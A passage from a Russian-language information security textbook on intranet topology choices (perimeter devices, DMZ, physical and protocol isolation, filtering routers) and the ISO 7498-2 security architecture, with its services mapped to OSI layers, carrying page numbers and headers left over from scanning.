Защита информации в каналах связи и узлах коммутации. Она направлена на устранение угроз, связанных с пассивным подключением к каналу ("прослушиванием"), предотвращение активного подключения для фальсификации или ретрансляции истинных сообщений, а также защиту от блокировки каналов связи. Для этого исполь
392
Информационная безопасность открытых систем
зуются процедуры аутентификации абонентов и сообщений, шифрование и специальные протоколы связи.
Защита юридической значимости электронных документов. При передаче документов (платежные поручения, контракты, распоряжения и т. д.) по сетям необходимо подтверждение того, что документ был действительно создан и отправлен автором, а не фальсифицирован или модифицирован получателем или третьим лицом. Иногда существует угроза отрицания авторства отправителем с целью снять с себя ответственность за передачу документа. Мерой защиты при обмене финансовыми документами является аутентификация сообщений при отсутствии у сторон доверия друг к другу. Документ (сообщение) дополняется ЭЦП - специальной меткой, логически неразрывно связанной с текстом и формируемой с помощью секретного криптографического ключа. Подделка меток без знания ключа посторонними лицами затруднена, а знание ключа свидетельствует об авторстве.
Защита от компьютерных вирусов и незаконной модификации за счет применения иммуностойких программ и выявления фактов модификации ПО.
5.3.	Выбор сетевой топологии интранета при подключении к другим внешним сетям
Одним из мероприятий, обеспечивающих высокую защищенность интранета, является планирование топологии сети и размещение сетевых ресурсов с учетом требований безопасности. У большинства сетевых протоколов передачи данных есть свои особенности, влияющие на то, в какой конфигурации интранета эти данные могут быть перехвачены третьими лицами или фальсифицированы. Анализ конфигурации интранета с этой точки зрения и внимание к защищенности важных его сегментов, как, например, сегментов, по которым технический персонал осуществляет удаленное управление серверами и маршрутизаторами, может существенно улучшить общую защищенность интранета. Схема идеальной топологии сегментированной сети уже приводилась выше (см. рис. 17).
Внутренняя сеть предсталяет собой сеть, защищенную сетевым периметром. Поэтому, как было отмечено выше, в первую очередь важна защита сетевого периметра интранета. Сетевой периметр (укрепленная граница интранета) может включать пограничные маршрутизаторы, межсетевые экраны, прокси-серверы, системы обнаружения вторжений, устройства виртуальной частной сети, ПО, ДМ3 и экранированные подсети (screened networks). Пограничный маршрутизатор является последним маршрутизатором, который контролируется организацией непосредственно перед выходом в другие сети. Он часто функционирует в роли первой и последней линии защиты интранета, обеспечивая фильтрацию входящего и исходящего трафика. МЭ представляет собой устройство, анализирующее трафик по набору правил, определяющих, можно ли передавать этот трафик по сети. Так как МЭ не являются на 100% совершенными устройствами, они смогут заблокировать только то, что им указано блокировать, и разрешат все, что им разрешено. Прокси-сервер выполняет функции посредника, поскольку с его использованием внешние и внутренние хосты никогда не соединяются непосредственно. Система обнаружения вторжений наблюдает за хостами и сетью, выявляя и сигнализируя обо всех обнаруженных вторжениях и потенциально опасных событиях. Виртуальная частная сеть позволяет создать
5. Обеспечение информационной безопасности в открытых системах
393
защищенные каналы между частями интранета, для организации которых может использоваться, например, Интернет. ПО имеет важную роль при создании защиты интранета, поскольку оно работает с данными и сервисами, которые требуется обезопасить. Терминами "демилитаризованная зона" и "экранированная подсеть" обозначается небольшая часть интранета, содержащая ресурсы общего пользования и непосредственно подключенная к МЭ или к другому фильтрующему устройству. Первое понятие определяет ограниченную область интранет со стороны внешних сетей по отношению к ней. Эта зона отделена, с одной стороны, от защищенной части интранета одним МЭ, а с другой - от незащищенной части интранет, имеющей подключение к другим сетям, другим МЭ или маршрутизатором с пакетным фильтром. Экранированная подсеть — это и есть та часть интранета, которая подлежит защите и размещается за находящимся на границе с демилитаризованной зоной МЭ.
Важным фактором в обеспечении безопасности информации при корпоративном доступе в другие внешние сети (например, в Интернет) является выбор топологии самого интранета. Она содержит все серверы, рабочие станции и ИТ-структуру, принадлежащие компании. Во внутренней сети должны быть представлены следующие устройства "периметра":
	входящая и исходящая фильтрация на каждом маршрутизаторе;
•	внутренние МЭ для разделения ресурсов;
	персональные МЭ (для зашиты от внутренних злоумышленников и атак, прошедших через МЭ в ДМ3 и экранирующей подсети);
	прокси-серверы;
	системы обнаружения вторжений, выполняющие мониторинг внутренней сети;
	антивирусные средства;
	защищенные и "укрепленные" ОС и приложения;
	средства управления конфигурацией (включая автоматическую установку обновлений и тиражирование стандартной конфигурации для определнных типов устройств);
	системы, осуществляющие аудит.
Подчеркнем еще один немаловажный момент, влияющий на безопасность интранета,- это разделение ресурсов. Например, для почтового сервера, инсталлированного на ключевой хост для доступа из Интернета, рекомендуется настроить переадресацию всех входящих почтовых сообщений на внутренний почтовый сервер. Такая разбивка почтового сервера на две составные части позволяет располагать его компоненты в разных зонах безопасности. Это предоставляет следующие преимущества:
	для разделенных компонентов можно использовать разное ПО;
	можно добиться большей степени конфиденциальности;
	можно изолировать наиболее уязвимые компоненты с целью снижения потенциального риска их взлома;
	можно реализовать четко выверенный контроль над конфигурацией каждого компонента и соответствующих ему прав доступа.
Аналогичный подход применим и к службе DNS, что позволяет сконфигурировать разделенную на две части DNS (split DNS, или split horizon DNS). Один из компонентов DNS доступен для внешних пользователей, а второй употребляется исключительно в пределах компании. База данных внешнего сервера содержит только информацию о доменах и системах, расположенных во внешнем по отношению
394
Информационная безопасность открытых систем
к данной сети мире. Записи, необходимые внутренним пользователям сети, хранятся только на внутреннем DNS-сервере. Кроме ограничения доступа извне к информации о внутрисетевой инфрастуктуре, это позволяет уменьшить влияние взломанного DNS-сервера на внутренние сетевые ресурсы.
Еще один способ разделения ресурсов - это применение виртуальных локальных сетей (VLAN), предоставляющее возможность определения гибких широковещательных доменов со множеством коммутаторов. (Данный подход рассмотрен во второй части учебника, в главе, посвященной виртуальным сетям.)
Интранет отделяются от других сетей следующими способами: физической изоляцией; изоляцией протоколов; маршрутизаторами. Естественно, выбор топологии интранета влияет на сервисы, которые будут предоставлены ее пользователям.
5.3.1.	Физическая изоляция
Наиболее безопасным и простым для конфигурирования является вариант использования компьютера, физически изолированного от интранета. В этом случае "видеть" Интернет и быть видимым из него может только сервер Интернета (рис. 49). При отсутствии физического доступа даже самый опытный злоумышленник не сможет просматривать интранет. Однако сам сервер Интернета все же остается открытым для возможных атак злоумышленников. Ограничением этой конфигурации является то, что отсутствует возможность разделения файлов в интранете и Интернете. Для обмена информацией с другой системой потребуется пользоваться дискетами.
Этот сценарий можно расширить и создать небольшой интранет, подключенный к серверу Интернета. Выбираемый тип конфигурации будет зависеть от масштабов организации и уровня доступа к шлюзу Интернета, который предоставляется пользователям. Например, если есть единственный компьютер, подключенный к Интернету, он служит в качестве сервера Интернета, предоставляющего информацию пользователям Интернета, а также (при желании) в качестве клиента Интернета, предоставляющего доступ к Интернету пользователям организации. Однако для того, чтобы этот компьютер мог работать в качестве клиента Интернета, необходимо, чтобы он был им физически доступен, так как этот компьютер не находится в интранете.
Рис. 49. Модель безопасности на основе физической изоляции
Для того чтобы упростить для пользователей организации доступ в Интернет, можно создать отдельную небольшую сеть, которая будет состоять из главного сервера Интернета, дополнительных серверов Интернета и отдельных рабочих станций,
5. Обеспечение информационной безопасности в открытых системах	395
так называемых киосков. Киоски можно расположить в конференц-залах, холлах, библиотеках или в специально отведенных комнатах в помещениях офиса. Служащие, которым по роду работы необходимо интенсивно использовать Интернет, могут иметь киоски в своих кабинетах. Киоски могут использоваться для получения информации с сервера Интернета, для передачи на этот сервер новой информации по Интернету в целом. Однако недостатком этого сценария является необходимость дополнительной прокладки кабеля.
5.3.2.	Изоляция протокола
Если ставится задача, чтобы сервер Интернета был виден как компьютерам интранета, так и из Интернета, следует использовать модель безопасности на основе изоляции протокола. В соответствии с этой моделью на сервере Интернета должны быть установлены два сетевых адаптера: первый использует для подключения к Интернету привязку протоколов TCP/IP; второй - соединяет сервер Интернета с интранетом и должен быть связан с протоколом IPX или любым другим сетевым протоколом, за исключением TCP/IP (рис. 50).
Ключевая особенность этой модели состоит в том, что обязательным требованием Интернета является использование межсетевого протокола IP. Если сервер Интернета соединен с интранетом с помощью другого протокола, например IPX, то пользователи Интернета не смогут получить доступ в интранет. Аналогично пользователи интранета не могут получить прямого доступа в Интернет, поскольку они не используют TCP/IP. IntranetWare может одновременно поддерживать и TCP/IP и SPX/IPX. Вы должны либо установить в своей сети TCP/IP, либо использовать шлюз IP-IPX.
Рис. 50. Модель безопасности на основе изоляции протокола
Например, в состав системы IntranetWare входит шлюз IP-IPX, благодаря которому можно выполнять приложения TCP/IP в сетях SPX/IPX. Это означает, что TCP/IP необходимо установить только на те серверы, которые подключены к Интернету или функционируют в качестве веб-серверов. Кроме того, шлюз IP-IPX можно использовать для ограничения или предотвращения доступа к Интернету. Администраторы могут разрешить пользователям доступ в Интернет только в определенные интервалы времени, а также закрыть или открыть доступ к определенным веб-узлам. Клиентский компонент шлюза IP-IPX перехватывает IP-пакеты (используя интерфейс Winsock) и преобразовывает их в IPX-пакеты. Серверный компонент преобразовывает их обратно в IP-пакеты. Это обеспечивает двунаправленный IP-трафик в сети IPX.
В рассмотренном примере при межсетевом взаимодействии выполняется трансляция (преобразование) протоколов [85]. Она обеспечивает согласование двух протоколов путем трансляции сообщений, поступающих от одной сети, в формат другой
396
Информационная безопасность открытых систем
сети. Транслирующий элемент, в качестве которого могут выступать, например, программный или аппаратный шлюз, мост, коммутатор или маршрутизатор, размещается между взаимодействующими сетями и служит их посредником. К частному случаю трансляции протоколов может быть отнесен широко применяемый подход с использованием общего протокола сетевого уровня (IP или IPX). Заголовок сетевого уровня несет информацию, которая, дополняя информацию заголовка канального уровня, позволяет выполнять преобразование протоколов канального уровня. Процедура трансляции в данном случае выполняется маршрутизаторами, причем помимо информации, содержащейся в заголовках транслируемых кадров, т. е. в заголовках канального уровня, дополнительно используется информация более высокого уровня, извлекаемая из заголовков сетевого уровня.
Другим подходом к согласованию коммуникационных протоколов является технология мультиплексирования [85]. Она состоит в установке нескольких дополнительных стеков протоколов на одной из конечных машин, участвующих во взаимодействии. Компьютер с несколькими стеками протоколов использует для взаимодействия с другим компьютером тот стек, который понимает этот компьютер. Для того чтобы запрос от прикладного процесса был правильно обработан и направлен к нужной сети через соответствующий стек, необходимо наличие специального программного элемента - мультиплексора протоколов. При использовании данной технологии структура коммуникационных средств ОС может быть и более сложной: мультиплексирование осуществляется не на уровне стеков, а на уровне отдельных протоколов. В общем случае на каждом уровне может быть установлено несколько протоколов и для каждого уровня может существовать собственный мультиплексор, выполняющий коммутацию между протоколами соседних уровней. Например, рабочая станция может получить доступ к сетям с протоколами NetBIOS, IP, IPX через один сетевой адаптер. Аналогично сервер, поддерживающий прикладные протоколы NCP, SMB и NFS, может без проблем выполнять запросы рабочих станций сетей NetWare, Windows NT и Sun одновременно.
Модель безопасности на основе изоляции протокола полезна для пользователей, которые большую часть своего времени посвящают тому, чтобы предоставлять доступ к информации пользователям Интернета, и которым для этого требуется копировать файлы непосредственно из интранета на сервер Интернета, или для тех пользователей, которым часто требуется извлекать информацию, а затем интегрировать эту информацию с материалами, рассылаемыми по интранету с помощью электронной почты и поступающими от других разделяемых ресурсов интранета.
Ресурсы такого сервера Интернета будут доступны в обоих направлениях, однако данные через этот сервер проходить не могут. Таким образом, создается виртуальный барьер для передачи пакетов информации через данный сервер.
Преимущество модели безопасности на основе изоляции протокола заключается в том, что пользователи могут разделять информацию к пользователям Интернета со своих рабочих станций, принадлежащих к интранету, не подвергая при этом интранет опасности НСД. К недостаткам этого метода следует отнести то, что пользователи не имеют возможности непосредственного доступа в Интернет. Таким образом, пользователи не могут самостоятельно находить и извлекать ресурсы Интернета, отличные от имеющихся на сервере Интернета. Кроме того, пользователи не будут иметь возможности обмена почтой с другими пользователями Интернета, если толь
5. Обеспечение информационной безопасности в открытых системах	397
ко на сервере не будет установлен необходимый почтовый сервис Интернета. Наконец, сохраняется теоретическая возможность того, что злоумышленник из Интернета все-таки сможет проникнуть в интранет, взломав систему безопасности, хотя это и проблематично, так как сервер Интернета не обеспечивает преобразования протоколов.
5.3.3.	Выделенные каналы и маршрутиза торы
Если использовать TCP/IP в крупномасштабном интранете, состоящем из множества подсетей, с большим сетевым трафиком, то, скорее всего, для подключения к Интернету потребуется маршрутизатор и выделенный канал (рис. 51).
Рис. 51. Модель безопасности на основе фильтрующего маршрутизатора
Такой подход позволяет управлять прохождением данных через сервер Интернета в интранет и из интранета; таким образом, она указывает, должен ли данный компьютер работать в качестве сетевого шлюза. Система может работать двояко: трафик либо может проходить в обоих направлениях, либо не может проходить ни в одном.
Даный тип модели безопасности обладает всеми преимуществами и недостатками модели на основе изоляции протокола. Основным слабым местом в этой модели является тот факт, что изоляция между Интернетом и защищаемым интранетом зависит от установки единственного флага в настройке стека TCP/IP (или, что то же самое, от единственного значения ассоциированного с этим флагом элемента реестра). Если злоумышленник тем или иным способом проникнет через сетевой шлюз, то для сведения на нет всей системы безопасности ему потребуется изменить только одно значение реестра.
Если использовать данную модель безопасности, то следует исключительно внимательно следить за физическим и административным доступом к компьютеру, который применяется в качестве сервера Интернета.
5.4. Принципы создания защищенных средств связи объектов в открытых системах
В данном пункте будут кратко рассмотрены три стандарта, являющиеся в настоящее время базовыми для обеспечения ИБ в открытых системах. Полный список стан-даров ISO по защите информации в открытых системах приведен в прил. 3.
5.4.1. СТАНДАРТНО 7498-2
Архитектурным вопросам построения открытых сетей на основе модели ВОС посвящен стандарт ISO 7498-2 "Базовая эталонная модель взаимосвязи открытых систем. Часть 2: Архитектура безопасности”, опубликованный в 1989 г. и допол
398
Информационная безопасность открытых систем
няющий базовую модель, определенную в ISO 7498-1. В его состав входят обзор вопросов безопасности, определение сервисов и механизмов обеспечения безопасности, а также анализ существующих угроз для нарушения работы сетей [86]. Стандарт содержит рекомендации по контролю или оценке предлагаемых средств обеспечения безопасности для открытых сетей на основе модели ВОС. В частности, предлагается методическая информация, как использовать механизм обеспечения безопасности для реализации конкретных сервисов безопасности, а также рекомендации, какие сервисы безопасности могут быть реализованы конкретными протоколами на каждом из семи уровней модели ВОС.
Стандарт ISO 7498-2 определяет пять базовых сервисов для обеспечения безопасности компьютерных систем и сетей: конфиденциальность (Confidentiality), аутентификацию (Authentication), целостность (Integrity), контроль доступа (Access Control), причастность ("неотказуемость", Nonrepudiation). Для всех этих сервисов определены также варианты, как например, для коммуникаций с установлением соединения и без установления соединения или обеспечения безопасности на уровнях коммуникации, пакетов или отдельных полей. Этот набор сервисов не является единственно возможным, однако он является общепринятым.
В стандарте ISO 7498-2 конфиденциальность определена как "свойство, которое гарантирует, что информация не может быть доступна или раскрыта для неавторизованных (неуполномоченных) личностей, объектов или процессов". Вопросам обеспечения конфиденциальности уделяется наибольшее внимание в системах, где раскрытие информации возможно во многих точках по пути передачи.
Для этого сервиса определяется четыре версии: для систем с установлением связи; для систем без установления связи; защита отдельных информационных полей; защита от контроля трафика. Первые две версии относятся к соответствующим протоколам с установлением или без установления связи. Конфиденциальность с установлением связи может быть обеспечена на любом уровне, кроме сеансового или представительного. Это согласуется с моделью ВОС, где коммуникационные сервисы предлагаются на всех уровнях. Конфиденциальность без установления связи может реализовываться на всех уровнях, кроме физического, сеансового и представительного, причем физический уровень исключен потому, что он по своей природе требует установления связи.
Третья версия конфиденциальных сервисов, предназначенных для защиты отдельных информационных полей, используется для обоих типов сетей (с установлением связи и без) и требует, чтобы только отдельные поля в пакетах были защищены. Этот сервис предлагается только для прикладного уровня, где необходимое поле может иметь другой способ кодирования, чем обеспечивает стандартный протокол.
Защита от контроля трафика должна предотвращать возможность анализа и контроля трафика. Это достигается за счет кодирования информации об источнике-назначении, количестве передаваемых данных и частоты передачи. Эти внешние характеристики могут быть доступны для злоумышленника, даже если пользовательские данные будут защищены. Например, легко различить трафик Telnet и FTP в зависимости от размера пакетов, даже если информация о порте сервиса и данных выше уровня IP будет защищена. Наиболее легко данный сервис реализуется на физическом уровне, но отдельные его компоненты могут предлагаться на сетевом и прикладном уровнях.
5. Обеспечение информационной безопасности в открытых системах
399
В стандарте определяются два типа сервисов аутентификации: достоверность происхождения (источника) данных и достоверность собственно источника соединения, или объекта коммуникации (peer-entity).
Достоверность источника данных предполагает подтверждение того, что "источник полученных данных именно тот, который указан или объявлен". Этот сервис существенен для коммуникации без установления связи, при которой каждый пакет является независимым от других. Единственное, что может быть гарантировано с точки зрения аутентификации - это то, что источник пакета именно тот, который указан в заголовке пакета. Этот сервис очень близок к обеспечению целостности данных в сетях без установления связи, когда установление подлинности источника не очень существенно, если нарушена целостность данных.
В системах с установлением связи аутентификация объекта коммуникаций является необходимой функцией, определенной как "подтверждение того, что объект коммуникации при соединении именно тот, который объявлен". Эта форма аутентификации подразумевает установление своевременности или фактора времени за счет включения идентификации объекта коммуникации для конкретного случая соединения, что недостижимо при помощи простой проверки происхождения данных. Таким образом, благодаря использованию этого сервиса может быть прервана или предотвращена атака с воспроизведением данных, связанных с другим сеансом связи, даже между теми же объектами коммуникации.
Обе формы аутентификации определены для сетевого, транспортного и прикладного уровней, на которых реализуются протоколы с установлением и без установления связи.
Согласно стандарту ISO 7498-2 целостность имеет две базовые реализации: для сетей с установлением связи и без установления связи, каждая из которых может применяться для избранных групп информационных полей. Однако сервисы защиты целостности в сетях с установлением связи могут дополнительно включать функции восстановления данных в случае, если нарушена их целостность. Таким образом, обеспечение целостности данных в сетях с установлением связи предполагает обнаружение "любой модификации, включения, удаления или повторной передачи данных в последовательности пакетов. Использование сервисов обеспечения целостности данных в сетях с установлением связи совместно с идентификацией объекта коммуникаций позволяет достичь высокой степени защищенности. Этот сервис используется на сетевом, транспортном и прикладном уровнях, при этом средства восстановления данных возможны только на двух верхних уровнях.
Целостность в сетях без установления связи ориентирована на определение модификаций каждого пакета, без анализа большого объема информации, например сеанса или цикла передачи. Таким образом, этот сервис не предотвращает умышленное удаление, включение или повторную передачу пакетов и является естественным дополнением аутентификации источника данных. Этот сервис также доступен на сетевом, транспортном и прикладном уровнях.
В стандарте ISO 7498-2 контроль доступа определен как "предотвращение неавторизованного использования ресурсов, включая предотвращение использования ресурсов недопустимым способом". То есть данный сервис не только обеспечивает доступ только авторизованных пользователей (и процессов), но и гарантирует только указанные права доступа для авторизованных пользователей. Таким образом, этот
400
Информационная безопасность открытых систем
сервис предотвращает неавторизованный доступ как внутренних, так и внешних пользователей.
Сервис контроля доступа используется для установления политики контро-ля/ограничения доступа. Политика контроля доступа (или авторизации) согласно ISO7498-2 устанавливается в двух измерениях: критериях для принятия решения о доступе и средствах, при помощи которых регулируется контроль. Два типа политики доступа в зависимости от используемых критериев принятия решения могут быть основаны на идентичности явлений и объектов (identity-based) или на правилах (последовательности) доступа (rule-based). Первый тип политики контроля доступа основан на использовании сервиса аутентификации для проверки идентичности субъекта доступа (пользователя, процесса, промежуточной или конечной системы, или сети) прежде, чем предоставить им доступ к ресурсам. Форма идентичности зависит от различия и типа аутентификации для разных уровней, на которых этот сервис обеспечивается. Так, например, пользователь и процесс являются объектами контроля доступа на прикладном, а не на сетевом уровне.
Политика, использующая регламентированные правила доступа, предполагает принятие решения о доступе на основе последовательности правил, которые соотносят аутентификацию с точностью. Например, правила могут быть выражены в терминах времени и даты доступа или "благонадежности", которую имеет данный пользователь.
Два типа политики управления доступом определены в 1SO7498-2: определяемые пользователем и определяемые администратором. Большинство операционных систем реализует первый вариант. Второй вариант часто применяется в сетях общего пользования, как, например, Х.25, UUCP и т. п.
Сервис контроля доступа может использоваться на сетевом, транспортном и прикладном уровнях.
Неотказуемость относится только к прикладному уровню и обычно широко не обсуждается. В стандарте ISO 7498-2 причастность определяется, как "предотвращение возможности отказа одним из реальных участников коммуникаций от факта его полного или частичного участия в передаче данных". Две формы причастности определены: причастность к посылке сообщения и подтверждение (доказательство) получения сообщения.
Первая форма данного сервиса предоставляет получателю доказательства, что сообщение было послано источником и его целостность не нарушена, на случай отказа отправителя от достоверности этого факта. Вторая форма причастности предоставляет источнику доказательства того, что данные были получены получателем, в случае попыток последнего отказаться от этого факта. Обе формы являются более мощными по сравнению с аутентификацией происхождения данных. Отличием здесь является то, что получатель или отправитель данных может доказать третьей стороне факт посылки (получения) данных и невмешательства посторонних.
Доступность может быть определена как дополнительный сервис обеспечения защищенности сетей. Доступность может стать предметом атаки с целью сделать ресурсы или сервисы компьютерной системы недоступными (или сделать их "качество" неудовлетворительным) для пользователя. Доступность может быть характеристикой качества данного ресурса или сервиса. Также она может частично определяться сервисом контроля доступа. Однако характер атак с целью ограничения доступа пользо
5. Обеспечение информационной безопасности в открытых системах
401
вателя и средства борьбы с ними не относятся к самим сервисам и ресурсам или не обеспечиваются сервисами контроля доступа. Поэтому целесообразно выделение отдельно сервиса обеспечения доступности, который должен реализовываться специальными механизмами на сетевом (как, например, возможность использования альтернативного пути при атаке на доступную полосу основного канала) или прикладном уровне.
Стандарт ISO7498-2 содержит краткое описание механизмов обеспечения безопасности (шифрование, заполнение трафика, управление маршрутизацией, ЭЦП, контроль доступа, обеспечение целостности, аутентификация, нотаризация) и таблицу возможного соотнесения их к уровням модели ВОС и сервисам. Также определены следующие общие механизмы обеспечения безопасности: доверительная функциональность, метки безопасности, "аудиторская" проверка. Другие общие механизмы обеспечения безопасности, как, например, управление криптографическими ключами, относятся к более высоким уровням интеграции систем и их менеджмента.
Группа протоколов Интернета (TCP/IP) соответствует уровням 1-4 модели ВОС, а прикладной уровень в сетях Интернета соответствует верхним уровням 5-7 модели ВОС [86].
Архитектурная концепция безопасности ISO включает пять основных компонентов: определение сервисов безопасности, определение механизмов безопасности, уровневая модель построения сервисов безопасности, соотнесение сервисов безопасности к уровневой модели, соотнесение механизмов безопасности к сервисам.
Сервисы безопасности представляют собой абстрактные понятия, которые могут быть использованы для характеристики требований безопасности. Сервисы отличаются от механизмов безопасности, которые являются конкретными мерами для реализации этих сервисов. Важнейшим архитектурным элементом стандарта является определение, какие сервисы безопасности должны обеспечиваться на каждом уровне эталонной модели. Основой для такого определения являются следующие принципы построения уровневой модели безопасности.
1.	Число альтернативных способов обеспечения безопасности должно быть минимизировано. Данная рекомендация направлена на минимизацию стоимости разработки как самих безопасных сервисов и протоколов, так и приложений на их основе.
2.	Сервисы безопасности могут работать более чем на одном уровне при построении безопасной системы, т. е. сервисы мшут появляться на многих уровнях в уровневой модели безопасности. Этот принцип противоположен первому принципу и в реальной системе должен достигаться обоснованный баланс или компромисс.
3.	Функции безопасности по возможности не должны дублировать существующие аналогичные коммуникационные функции, т. е. использовать эти функции, где это возможно без нарушения безопасности системы.
4.	Рекомендуется не нарушать независимости уровней. Если разработчик протокола будет предполагать наличие определенного протокола (сервиса) безопасности на соседнем уровне, но потом это предположение окажется ошибочным, то это приведет к нарушению архитектурной (уровневой) целостности системы безопасности. Это не запрещает использовать для обеспечения безопасности механизмы более низкого уровня, однако это должно производиться в рамках хорошо специфицированных межуровневых интерфейсов. Такая проблема особенно явно проявляется в мар
402
Информационная безопасность открытых систем
шрутизаторах и мостах, которые могут анализировать информацию о протоколах более высокого уровня для лучшего контроля трафика и доступа.
5.	Количество неконтролируемых (доверенных, trusted) функций должно быть минимизировано. Тогда необходимо выделять компоненты, на которых основана безопасность системы. Этот принцип инициирует обеспечение сервисов безопасности между конечными точками быстрее, чем с использованием доверительных промежуточных компонентов. Это стимулирует использование средств защиты на более высоких уровнях. Однако принципы 1 и 3 возражают против исключения сервисов безопасности на промежуточных уровнях. Следствием этого является появление элементов обеспечения безопасности для различных приложений на межсетевом и транспортном уровнях, что в дальнейшем приводит к естественной интеграции протоколов обеспечения безопасности в саму ОС и порождает свой набор проблем.
6.	Если какой-либо защитный механизм одного уровня базируется на использовании сервисов более низкого уровня, то не должно существовать никаких промежуточных уровней, запрещающих или не гарантирующих такую связь. Этот принцип апеллирует к принципу 4, так как невозможность установить независимость уровней может легко нарушить межуровневую безопасность. Так, минимизация доверенной функциональности (принцип 5) рекомендует перемещение сервисов безопасности на более высокие уровни, но использование механизмов безопасности на одном уровне для обеспечения сервисов безопасности на более высоких уровнях позволяет избежать дублирования (принципы 1 и 3).
7.	Сервисы безопасности, реализуемые на каждом уровне, должны быть определены таким образом, чтобы допускать модульное дополнение к базовым коммуникационным сервисам. Этот принцип ориентирован на очень практичный подход, так как не все реализации уровневых протоколов и сервисов требуют и/или предлагают все сервисы безопасности. Таким образом, модульность должна способствовать облегчению разработки конечных приложений.
Для Интернета целесообразно сформулировать ряд дополнительных принципов, определяющих применимость механизмов безопасности в ее существующей модели и инфраструктуре [86, 87].
Механизмы безопасности должны быть масштабируемы, чтобы удовлетворять постоянно увеличивающимся масштабам Интернета (количеству сетей, компьютеров и пользователей). В частности, механизмы безопасности (аутентификация и контроль за доступом), использующие службы доменных имен, должны учитывать постоянный рост Интернета.
Механизмы безопасности не должны ограничивать топологию сети. Например, применение определенного механизма безопасности нежелательно, если условием его применения является использование единственного межсетевого устройства (в данном случае маршрутизатора) для внешних соединений.
Механизмы безопасности должны (иметь возможность) опираться на технологии нижних уровней (алгоритмы и протоколы), которые имеют проверенную гарантированную безопасность.
Рекомендуется применять механизмы безопасности и соответствующие продукты, которые не подвержены экспортно-импортным ограничениям или законодательному регулированию.
5. Обеспечение информационной безопасности в открытых системах
403
Известно, что использование многих механизмов безопасности требует применения инфраструктуры, стоимость управления и поддержания которой сравнима со стоимостью внедрения самих механизмов безопасности. Поэтому целесообразно развивать такие технологии безопасности, которые используют общую инфраструктуру безопасности. Например, инфраструктура сертификации открытых ключей в соответствии со стандартом Х.509 используется для защиты данных в электронной почте в соответствии со стандартами РЕМ (Privacy Enhanced Mail), Х.400, а также для поддержки механизмов безопасности службы директорий Х.500 и управления телекоммуникационными сетями Х.700.
Криптографические механизмы, используемые в Интернете, должны быть широко известны и проверены временем. Это не является доказательством надежности этих механизмов, но, однако, гарантирует от крупных ошибок.
Должна обеспечиваться невозможность обхода защитных средств, возникающего по двум причинам.
	При реализации системы защиты в виде совокупности сервисов может существовать способ миновать отдельные защитные средства, нарушая тем самым целостность планируемой цепочки сервисов безопасности (например, наличие модемных выходов в Интернет, идущих в обход МЭ).
	При построении ИС в многоуровневой архитектуре клиент-сервер может существовать способ обхода одного или нескольких уровней, на которых сосредоточены средства защиты. Последнее обстоятельство можно проиллюстрировать простым примером. Пусть в системе, построенной в архитектуре Интернета/интранет, в качестве информационного концентратора используется веб-сервер. Пусть далее на этом сервере сосредоточены средства аутентификации, управления доступом и протоколирования/аудита. Если злоумышленник на клиентской системе способен напрямую воспользоваться программным интерфейсом, предоставляемым сервером СУБД, он тем самым обойдет штатные защитные средства и, возможно, получит неконтролируемый доступ к БД.
Рекомендуется минимизация объема защитных средств, выносимых на клиентские системы в силу того, что для доступа в интранет могут использоваться потребительские устройства с ограниченной функциональностью, а конфигурацию клиентских систем трудно или невозможно контролировать.
Теперь рассмотрим распределение средств обеспечения защиты по уровням модели согласно стандарту ISO 7498-2.
Физический уровень. Средства, предоставляемые на этом уровне, ограничиваются конфиденциальностью для соединений и конфиденциальностью для потока данных. Конфиденциальность обеспечивается обычно с помощью шифрования битов. Эти средства могут быть реализованы как почти прозрачные, т. е. без появления дополнительных данных (кроме установления соединения). Целостность и аутентификация обычно недостижимы здесь из-за того, что интерфейс не имеет возможностей для передачи дополнительных данных, требуемых при реализации этих средств. Тем не менее использование соответствующих технологий шифрования может обеспечить предоставление этих средств на более высоких уровнях. Средства защиты физического и канального уровней обычно реализуются в виде дополнительной аппаратуры.
404
Информационная безопасность открытых систем
Канальный уровень. Средствами, предоставляемыми на канальном уровне, являются конфиденциальность для соединений и конфиденциальность для дейтаграмм. Средства защиты данного уровня обычно обеспечиваются на основе соединения "точка-точка", как и средства физического уровня. Область действия этих средств должна заканчиваться в местах, где находятся взаимодействующие равноправные сущности, т. е. конечные системы и коммутаторы. В среде локальных или глобальных сетей средства защиты также могут предоставляться для широковещательной или групповой передачи, на основе технологий локальных сетей, а также канала "точка-точка".
Сетевой уровень. Средства защиты сетевого уровня могут предоставляться между конечными системами в сети, независимо от используемых коммутаторов (например, коммутаторов пакетов Х.25). Стандарт отмечает применимость нескольких средств защиты для этого уровня: конфиденциальность для соединений и дейтаграмм, конфиденциальность потока данных, целостность (для соединений без восстановления и для дейтаграмм), аутентификация источника данных и взаимодействующих сущностей, а также управление доступом.
Транспортный уровень. Определяются следующие средства защиты: конфиденциальность для соединений и дейтаграмм, целостность (любая, кроме отдельных полей), аутентификация источника данных и взаимодействующих сущностей и управление доступом. Существует одно отличие между средствами защиты для дейтаграммного взаимодействия на транспортном и сетевом уровнях. Оно заключается в способности обеспечить защиту в промежуточных системах (используя механизмы сетевого уровня), а не только в конечных системах (используя механизмы транспортного уровня).
Сеансовый уровень. Стандарт не позволяет предоставлять средства на сеансовом уровне. Основываясь на принципе, что не стоит предоставлять средства защиты, не соответствующие базовым средствам взаимодействия на данном уровне, можно возражать против предоставления таких средств. Кроме того, можно утверждать, что средства защиты лучше предоставлять на транспортном, представительном или прикладном уровнях.
Представительный уровень. Так как этот уровень используется для преобразования данных между обычным и сетевым представлениями, то выгоднее шифровать данные на этом уровне, а не на прикладном. Если приложение выполняет шифрование для приложений, которые взаимодействуют напрямую без посредников, то это освобождает представительный уровень от реализации такой функции. Альтернативой этому является дублирование возможностей представительного уровня в приложениях. В стеке протоколов TCP/IP из-за того, что функции представления включены в состав приложений, а не выделены в отдельный уровень, этот конфликт преодолен.
Прикладной уровень. Все средства защиты могут быть предоставлены на прикладном уровне, а контроль за участниками взаимодействия может быть предоставлен только на этом уровне. Но предоставление некоторых средств на этом уровне вызывает проблемы из-за конфликта с возможностями представительного уровня. Это ограничение обходится для случая приложений с многоэтапной доставкой данных, например, средств электронной почты или справочника (спецификации Х.400 и Х.500) и для стека TCP/IP, в котором функции представления обычно включены
5. Обеспечение информационной безопасности в открытых системах
405
в приложения. Фактически названные приложения могут быть защищены только на прикладном уровне.
